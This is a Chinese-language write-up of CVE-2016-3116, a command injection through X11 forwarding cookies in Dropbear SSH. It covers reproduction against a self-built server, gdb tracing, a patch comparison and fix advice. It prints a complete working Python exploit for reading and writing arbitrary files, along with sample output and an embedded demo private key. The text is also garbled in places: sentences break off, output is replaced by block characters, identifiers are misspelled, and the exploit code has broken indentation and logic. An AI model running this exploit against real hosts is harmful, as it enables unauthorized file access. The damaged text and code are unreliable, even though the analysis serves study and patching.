

漏洞简述

Dropbear是一个相对较小的SSH服务器和客户端。开源，在无线路由器等嵌入式linux系统中使用较多。

X11是一个用于图形显示的协议，用于满足在命令行使用的情况下对图形界面的需求。开启X11服务，需要在ssh配置中需要开启X11Forwarding选项（本选项在dropbear

本漏洞的成功触发需要认证权限，并且要求服务器dropbear配置中X11Forwarding yes开启。漏洞产生的原因是因为没有对用户输入做足够的检查，导致用户在cookie中可以输入换行符，进而可以注入xauth命令，通过精心构造特殊的数据包，攻击者可

漏洞影响的版本：<= 2015.71 (基本上所有开启了x11forward的版本都适用; v0.44 ~11 years)

漏洞复现

编译dropbear

测试版本：dropbear-2015.71

服务器版本：ubuntu 16.04

在官网(<https://matt.ucc.asn.au/dropbear/releases/>)下载dropbear-2015.71.tar.bz2,解压后执行以下命令：

```
$ cd dropbear-2015.71
$ ./configure --prefix=/usr/local/dropbear/ --sysconfdir=/etc/dropbear/
$ make PROGRAMS="dropbear dbclient dropbearkey dropbearconvert scp"
$ sudo make PROGRAMS="dropbear dbclient dropbearkey dropbearconvert scp" install
```

另外还需要创建一个用来存储dropbear配置文件的目录：

```
$ mkdir /etc/dropbear
```

然后启动dropbear即可(X11 forward默认开启)：

```
$ sudo ./dropbear -R -F -E -p 2222
```

在客户端主机中尝试使用ssh连接,可以连接成果，则表明编译成功。

运行exp结果

在服务器2222端口开启dropbear，尝试运行exp:

```
$ python CVE-2016-3116_exp.py 192.168.5.171 2222 island passwd
```

成功连接后可以获取路径信息以及任意文件读写操作：

信息读取：

```
#> .info
DEBUG:__main__:auth_cookie: '\ninfo'
DEBUG:__main__:dummy exec returned: None
INFO:__main__:Authority file: /home/island/.Xauthority
File new: no
File locked: no
Number of entries: 2
Changes honored: yes
Changes made: no
Current input: (stdin):2
/usr/bin/xauth: (stdin):1: bad "add" command line
```

任意文件读：

```
#> .readfile /etc/passwd
DEBUG:__main__:auth_cookie: 'xxxx\nsource /etc/passwd\n'
DEBUG:__main__:dummy exec returned: None
INFO:__main__:root:x:0:0:root:/root:/bin/zsh
```

```
daemon:x:1:1:daemon:/usr/sbin:/usr/sbin/nologin
bin:x:2:2:bin:/bin:/usr/sbin/nologin
sys:x:3:3:sys:/dev:/usr/sbin/nologin
sync:x:4:65534:sync:/bin:/bin/sync
games:x:5:60:games:/usr/games:/usr/sbin/nologin
man:x:6:12:man:/var/cache/man:/usr/sbin/nologin
```

任意文件写：

```
#> .writefile /tmp/testfile1 `thisisatestfile`
DEBUG:__main__:auth_cookie: '\nadd 127.0.0.250:65500 `thisisatestfile` aa'
DEBUG:__main__:dummy exec returned: None
DEBUG:__main__:auth_cookie: '\nextract /tmp/testfile1 127.0.0.250:65500'
DEBUG:__main__:dummy exec returned: None
DEBUG:__main__: /usr/bin/xauth: (stdin):1: bad "add" command line
```

在linux中查看：

```
$ cat /tmp/testfile1
■■6550testtest■■65500`thisisatestfile`■■65500sssss■%
```

可以看出写入成功

此处附上exp:

```
#!/usr/bin/env python
# -*- coding: UTF-8 -*-
# Author : <github.com/tintinweb>
#####
#
# FOR DEMONSTRATION PURPOSES ONLY!
#
#####
import logging
import StringIO
import sys
import os

LOGGER = logging.getLogger(__name__)
try:
    import paramiko
except ImportError, ie:
    logging.exception(ie)
    logging.warning("Please install python-paramiko: pip install paramiko / easy_install paramiko / <distro_pkgmgr> install py
    sys.exit(1)

class SSHXllfwdExploit(object):
    def __init__(self, hostname, username, password, port=22, timeout=0.5,
                 pkey=None, pkey_pass=None):
        self.ssh = paramiko.SSHClient()
        self.ssh.set_missing_host_key_policy(paramiko.AutoAddPolicy())
        if pkey:
            pkey = paramiko.RSAKey.from_private_key(StringIO.StringIO(pkey),pkey_pass)
        self.ssh.connect(hostname=hostname, port=port,
                        username=username, password=password,
                        timeout=timeout, banner_timeout=timeout,
                        look_for_keys=False, pkey=pkey)

    def exploit(self, cmd="xxxx\n?\nsource /etc/passwd\n"):
        transport = self.ssh.get_transport()
        session = transport.open_session()
        LOGGER.debug("auth_cookie: %s"%repr(cmd))
        session.request_x11(auth_cookie=cmd)
        LOGGER.debug("dummy exec returned: %s"%session.exec_command(""))

        transport.accept(0.5)
        session.recv_exit_status() # block until exit code is ready
        stdout, stderr = [],[]
        while session.recv_ready():
            stdout.append(session.recv(4096))
```

```

while session.recv_stderr_ready():
    stderr.append(session.recv_stderr(4096))
session.close()
return ''.join(stdout)+''.join(stderr) # catch stdout, stderr

def exploit_fwd_readfile(self, path):
    data = self.exploit("xxx\nsource %s\n"%path)
    if "unable to open file" in data:
        raise IOError(data)
    ret = []
    for line in data.split('\n'):
        st = line.split('unknown command ',1)
        if len(st)==2:
            ret.append(st[1].strip(' '))
    return '\n'.join(ret)

def exploit_fwd_write_(self, path, data):
    '''
    adds display with protocolname containing userdata. badchars=<space>

    '''
    dummy_dispname = "127.0.0.250:65500"
    ret = self.exploit('\nadd %s %s aa'%(dummy_dispname, data))
    if ret.count('bad "add" command line')>1:
        raise Exception("could not store data most likely due to bad chars (no spaces, quotes): %s"%repr(data))
    LOGGER.debug(self.exploit('\nexttract %s %s'%(path,dummy_dispname)))
    return path

demo_authorized_keys = '''#PUBKEY line - force commands: only allow "whoami"
#cat /home/user/.ssh/authorized_keys
command="whoami" ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAQAClRpYKrvPkIzvAYfX/ZeU1UzLuCVWBgJUeN/wFRmj4XKl0Pr3lI+7ToJnd7S9JTHkrGVDu+
'''

PRIVKEY = """-----BEGIN RSA PRIVATE KEY-----
MIIEowIBAAKCAQEAtUaWCq7z5CM7wGH1/2XlNVMy7glVgYCVHjf8BUZo+FypdD69
9SPu06CZ3e0vSUx5Kx1Q7vgU6CtH9nQli53oMy225a/RUGEon/axzVtwTpMnVLqn
PLEUn9zPaCjwwpg/Bhrh5+Nhc3bm/u/LHmKrEg6IjyWssE16exuhA3G/Teed+NaN
zKR3jVLrmXohc9dp57jYBPLZJ5NSojsd27LjdWnq/PokxwvkQOrOPkhTne+7GRts
U68nW5a99jMSb4bpggsUsIY0IIsKcInzfzUxonvcXmh+RASiffLCzA0OdQyJ7UrPh
TLw8dVOK2e9zsJYlOYUA6G3rnzq9sNmqe7XdeQIDAQABAoIBAHu5M4sTiC8h5RRH
SBkKuMgOgwJISJ3c3uoDF/WZuudYhyeZ8xivb7/tK1d3HQEQotsZqk2P8OUNNU6W
s1F5cxQLLvS5i/QQGP9ghlBQYO/l+aShrY7vnHlyYGz/68xLkMt+CgKzaeXdc4O
aDnS6iOm27mn4xdpqiEAGIM7TXCjcPSQ4l8YPxaJ84rHBcD4w033SdzC7i73UUne
euQL7bBz5xNibOIFPY3h4q6fbw4bJtPBzAB8c7/qYhJ5P3czGxtqhSqQRogK8T6T
A7fGezF90krTGOAz5zJGV+F7+q0L9pIR+uOg+OBFBbmGm5sKRNl8pyrBq/957JaA
rhSB0QECgYEA1604IXr4CzAa7tKj+FqNdNJI6jEfp99EE8OIHUEXts57SaousJhe
DDpBRSTX96+EpRnUSbJfNXzn1S9cZfT8i80kSoM1xvHgJwMNqhBTo+sYWVQrfBmj
bdVVbTozREaMqezgHl+Tn6G1OuDz5nEnu+7gm1Ud07BFLqi8Ssbhu2kCgYEAlyrc
KPIAIVPzfALngqT6fpX6P7zHwDO/Uw+PoDCJtI2qljpXHXrcI4Zl0jBplfcpBC9
2Q0TNUfra8m3LGBwfqM23gTaqLmVSZSmcM8OVuKuJ38wcMcNG+7DevGYuELXbOgY
nimhjY+3+SXFWIHatkJKAwZbPO7p857nMcbBH5ECgYBnCdX9MlB6l9rmKkAoEKrw
Gt629A0ZmHLftlS7FUBHVCJWiTVgRBm6YcJ5FCcRsAsBDZv8MWlM0xq8IMpV83sM
F0+1QYZZq4kLCfxnOTGcaf7TnoC/40fOFJThgCKqBcJQZKiWGjde1lTM8lftYk+f
W3p2+20qilYh+n8qgmWpsQKBgQCESNF6Su5Rjx+S4qY65/spgEO0lBlr2G18yTcr
bjXvcCYzrN4r/kNlu6d2qXMF0zrPk4tkumkoXMK0ThvTrJYK3YWKEinsucXSpJV/
nY0PVYeYEWmoJrBcfKtF9ijN+dXnEdx1LgATW55kQEGy38W3tn+uo2GuXlrs3EGbL
b4qkQQKBgF2XUv9umKYiwwhBPneEhTPlQgDcVpWdxkO4sZdzww+y4SHifxVRzNmX
Ao8bTPte9nDf+PhgPiWiKtaBARZVM2C2yrKHETDqCfme5WQKzC8c9vSf91DSJ4aV
pryt5Ae9gUOCx+d7W2EU7RIn9p6YDopZSeDuU395nxisfyR1bjlv
-----END RSA PRIVATE KEY-----"""

if __name__=="__main__":
    logging.basicConfig(loglevel=logging.DEBUG)
    LOGGER.setLevel(logging.DEBUG)

    if not len(sys.argv)>4:
        print """ Usage: <host> <port> <username> <password or path_to_privkey>

        path_to_privkey - path to private key in pem format, or '.demoprivkey' to use demo private key

```

```

    sys.exit(1)
hostname, port, username, password = sys.argv[1:]
port = int(port)
pkey = None
if os.path.isfile(password):
    password = None
    with open(password, 'r') as f:
        pkey = f.read()
elif password=="demoprivkey":
    pkey = PRIVKEY
    password = None
    LOGGER.info("add this line to your authorized_keys file: \n%s"%demo_authorized_keys)

LOGGER.info("connecting to: %s:%s%s:%s"%(username,password if not pkey else "<PKEY>", hostname, port))
ex = SSHXllfwdExploit(hostname, port=port,
                      username=username, password=password,
                      pkey=pkey,
                      timeout=10
                      )
LOGGER.info("connected!")
LOGGER.info ("""
Available commands:
.info
.readfile <path>
.writefile <path> <data>
.exit .quit
<any xauth command or type help>
""")
while True:
    cmd = raw_input("#> ").strip()
    if cmd.lower().startswith(".exit") or cmd.lower().startswith(".quit"):
        break
    elif cmd.lower().startswith(".info"):
        LOGGER.info(ex.exploit("\ninfo"))
    elif cmd.lower().startswith(".readfile"):
        LOGGER.info(ex.exploit_fwd_readfile(cmd.split(" ",1)[1]))
    elif cmd.lower().startswith(".writefile"):
        parts = cmd.split(" ")
        LOGGER.info(ex.exploit_fwd_write_(parts[1], ' '.join(parts[2:])))
    else:
        LOGGER.info(ex.exploit('\n%s'%cmd))

# just playing around
#print ex.exploit_fwd_readfile("/etc/passwd")
#print ex.exploit("\ninfo")
#print ex.exploit("\ngenerate <ip>:600<port> .") # generate <ip>:port port=port+6000
#print ex.exploit("\nlist")
#print ex.exploit("\nnlist")
#print ex.exploit('\nadd xx xx "\n')
#print ex.exploit('\ngenerate :0 . data ')
#print ex.exploit('\n?\n')
#print ex.exploit_fwd_readfile("/etc/passwd")
#print ex.exploit_fwd_write_("/tmp/somefile", data="\whoami`")
LOGGER.info("--quit--")

```

```
chansess->xllauthcookie = buf_getstring(ses.payload, NULL);
chansess->xllscreennum = buf_getint(ses.payload);
.....
}
```

然后又会调用到x11setauth()函数：

```
#ifndef XAUTH_COMMAND
#define XAUTH_COMMAND "/usr/bin/xauth -q"
#endif

/* This is called after switching to the user, and sets up the xauth
 * and environment variables. */
void x11setauth(struct ChanSess *chansess) {
    .....
    /* popen is a nice function - code is strongly based on OpenSSH's */
    authprog = popen(XAUTH_COMMAND, "w");
    if (authprog) {
        fprintf(authprog, "add %s %s %s\n", display, chansess->x11authprot, chansess->x11authcookie);
        pclose(authprog);
    } else {
        fprintf(stderr, "Failed to run %s\n", XAUTH_COMMAND);
    }
    .....
}
```

在x11setauth中,会调用popen执行/usr/bin/xauth -g,并将chansess中存储的cookie作为参数,此处参数没有对换行符等进行过滤,因此可以针对xauth的参数进行注入。

查看xauth的参数解析，发现我们感兴趣的主要是以下几个命令：

```
info - ██████████  
$ xauth info  
Authority file:      /home/island/.Xauthority  
File new:           no  
File locked:        no  
Number of entries:   6  
Changes honored:     yes  
Changes made:        no  
Current input:       (argv):1  
  
source - ████████ (██████████████)  
# xauth source /etc/shadow  
xauth: file /root/.Xauthority does not exist  
xauth: /etc/shadow:1: unknown command  
                                     "smithj:Ep6mckrOLChF.:10063:0:99999:7:::"  
  
extract - ████████  
██████████  
██████████xauth.db██  
██████`xauth add`████████████████████████████████████████  
  
generate - ██ <ip>:<port>  
██████████
```

通过以上命令，虽然有一些程度限制，但是基本可以做到任意文件读写以及端口检测。

动态调试

为了更直观了解，使用gdb调试：

```
$ sudo gdb-multiarch dropbear
gef> set args -R -F -E -p 2222
gef> b xllreq
Breakpoint 1 at 0x41357f
gef> b xllsetauth
Breakpoint 2 at 0x413732
gef> set follow-fork-mode child
gef> r
Starting program: /home/island/work/soft/dropbear-2015.71/dropbear -R -F -E -p 2222
[39700] Oct 24 10:23:47 Not backgrounding
```

在另一台机器运行exp：

```
$ python CVE-2016-3116_exp.py 192.168.5.171 2222 island pwsswd
#> .readfile /etc/passwd
```

在调试机器中，将断点下在buf_getstring，第二次触发断点并返回时，查看返回值：

```
gef> x /s $rax                                0x637f40:      "xxxx\nsource /etc/passwd\n"
```

发现chansess->x11authcookie的值正是exp中输入的带有换行符的cookie值

再继续运行，运行到x11setauth中

将断点下载popen中：

```
gef> b popen
Breakpoint 4 at 0x7ffff7427600: file iopopen.c, line 273.
gef> c
Continuing.
```

```
Thread 4.1 "dropbear" hit Breakpoint 4, _IO_new_popen (command=0x422947 "/usr/bin/xauth -q", mode=0x4208ca "w") at iopopen.c:2
```

可以看到已经断下来，开始运行/usr/bin/xauth -q命令

后面便会将我们传入的cookie参数传递给xauth，由于换行符未进行过滤，因此可以针对xauth进行命令注入。

补丁对比

下载dropbear 2016.74源码，与有漏洞比较

dropbear 2016.74 NotVulnerable:

```
/* called as a request for a session channel, sets up listening X11 */
/* returns DROPBEAR_SUCCESS or DROPBEAR_FAILURE */
int x11req(struct ChanSess * chansess) {
    .....
    chansess->x11singleconn = buf_getbool(ses.payload);
    chansess->x11authprot = buf_getstring(ses.payload, NULL);
    chansess->x11authcookie = buf_getstring(ses.payload, NULL);
    chansess->x11screennum = buf_getint(ses.payload);

    if (xauth_valid_string(chansess->x11authprot) == DROPBEAR_FAILURE ||
        xauth_valid_string(chansess->x11authcookie) == DROPBEAR_FAILURE) {
        dropbear_log(LOG_WARNING, "Bad xauth request");
        goto fail;
    }
    fd = socket(PF_INET, SOCK_STREAM, 0);
    if (fd < 0) {
        goto fail;
    }
    .....
}
```

dropbear-2015.71 Vulnerable:

```
/* called as a request for a session channel, sets up listening X11 */
/* returns DROPBEAR_SUCCESS or DROPBEAR_FAILURE */
int x11req(struct ChanSess * chansess) {
    .....
    chansess->x11singleconn = buf_getbool(ses.payload);
    chansess->x11authprot = buf_getstring(ses.payload, NULL);
    chansess->x11authcookie = buf_getstring(ses.payload, NULL);
    chansess->x11screennum = buf_getint(ses.payload);
    fd = socket(PF_INET, SOCK_STREAM, 0);
    if (fd < 0) {
        goto fail;
    }
    .....
}
```

可以看出，新版本在获取到用户的输入后将cookie传入xauth_valid_string进行了检验

```
/* Check untrusted xauth strings for metacharacters */
/* Returns DROPBEAR_SUCCESS/DROPBEAR_FAILURE */
static int
xauth_valid_string(const char *s)
{
    size_t i;

    for (i = 0; s[i] != '\0'; i++) {
        if (!isalnum(s[i]) &&
            s[i] != '.' && s[i] != ':' && s[i] != '/' &&
            s[i] != '-' && s[i] != '_') {
            return DROPBEAR_FAILURE;
        }
    }
    return DROPBEAR_SUCCESS;
}
```

可以看出，xauth_valid_string还是做了比较严格的检查，使用isalnum函数检查，只可以是数字字母，否则便会返回失败。

修复建议

升级至dropbear 2016.72之后的版本。

或者

在dropbear编译时，删除options.h 中的 #define ENABLE_X11FWD选项，以关闭X11Forwarding功能。

参考链接

1. <https://github.com/tintinweb/pub/tree/master/pocs/cve-2016-3116/>

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